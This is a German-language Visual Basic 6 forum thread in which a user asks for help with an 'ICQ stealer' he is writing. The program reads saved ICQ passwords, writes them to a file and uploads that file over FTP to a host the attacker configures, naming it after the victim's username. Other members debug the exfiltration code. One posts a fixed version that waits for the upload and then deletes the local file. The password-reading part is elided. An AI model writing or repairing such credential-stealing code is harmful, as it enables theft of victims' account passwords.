Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208

FTP Funktion funktioniert nicht
Verfasst am: 17.03.2008, 19:27

Also ich wollte nen ICQ Stel0r machen, die PW's liest der auch aus und speichert die, aber hochladen geht net

hier der Code

Code:
cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)

LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If

blablabal

blablalba

Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"

With Inet1
    .AccessType = icDirect
    .Protocol = icFTP
    .RemotePort = "21"
    .URL = host
    .UserName = user
    .Password = pw
    .Execute , "PUT " + LocalFile + " " + RemoteFile
End With

MsgBox "Upload done", , "Done"


doch der kommt nicht ma bis zur Message

also muss der ja beim FTP upload stehen bleiben, doch welbst wenn ich den mit DoEvents 100 Minuten warten lasse, passiert nicht

zur info, ich habs auf nem extra.hu server probiert



Edit by tr4st: Gib dir mehr Mühe beim wählen deines Topics!

Sry werds mir merken


Zuletzt bearbeitet von big earl_ am 17.03.2008, 19:35, insgesamt einmal bearbeitet
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202


Verfasst am: 17.03.2008, 19:29

sowie ich das sehe hast du LocalFile nicht definiert (dim Localfile as string)
Aber kp ob das dadran liegt... sieht im ersten moment gut aus und scheint fehlerfrei zusein!
 
big earl_
Coder
Coder



Anmeldedatum: 11.05.2007
Beiträge: 208


Verfasst am: 17.03.2008, 19:34

nope, bleibt so
 
Tix_
Tutorial Leser
Tutorial Leser

Anmeldedatum: 08.06.2007
Beiträge: 51


Verfasst am: 18.03.2008, 14:12

big earl hat Folgendes geschrieben:


LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If




Zuerst definierst du LocalFile, dann checkst du ob es da ist und wenn es da ist soll es gelöscht werden, wie soll es dann uploaden ?
 
marcel1994_
Coder
Coder

Anmeldedatum: 08.02.2008
Beiträge: 202


Verfasst am: 18.03.2008, 14:22


Jau da sist mir garnicht aufgefallen! Du musst es so machen, das ist dein code:

Code:
cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)

LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If

blablabal

blablalba

Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"

With Inet1
    .AccessType = icDirect
    .Protocol = icFTP
    .RemotePort = "21"
    .URL = host
    .UserName = user
    .Password = pw
    .Execute , "PUT " + LocalFile + " " + RemoteFile
End With

MsgBox "Upload done", , "Done"


So sähe meiner aus:

Code:
cmd = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = (2)

blablabal

blablalba

Dim LocalFile as string
LocalFile = LocalFile = "C:\ICQ6_PWS.txt"

Dim RemoteFile As String
RemoteFile = Environ("USERNAME") + "_ICQ_PWS.txt"

With Inet1
    .AccessType = icDirect
    .Protocol = icFTP
    .RemotePort = "21"
    .URL = host
    .UserName = user
    .Password = pw
    .Execute , "PUT " + LocalFile + " " + RemoteFile
End With

Do While Inet1.StillExecuting = True
DoEvents
Loop
LocalFile = "C:\ICQ6_PWS.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
MsgBox "Upload done", , "Done"
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: ftp, username, fileexists, password, url

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Problem mit always on top funktion 1106 30.10.2009, 12:26
Keine neuen Beiträge IntStr()funktion 1307 11.10.2007, 09:49
Keine neuen Beiträge TopMost Funktion unter DirectX 1021 27.07.2007, 11:48
Keine neuen Beiträge Wie Funktion nutzen ? 1213 29.06.2007, 21:59
Keine neuen Beiträge update funktion einbauen 1455 29.01.2007, 00:11
 


[ Time: 0.3111s ][ Queries: 92 (0.2454s) ][ GZIP on - Debug on ]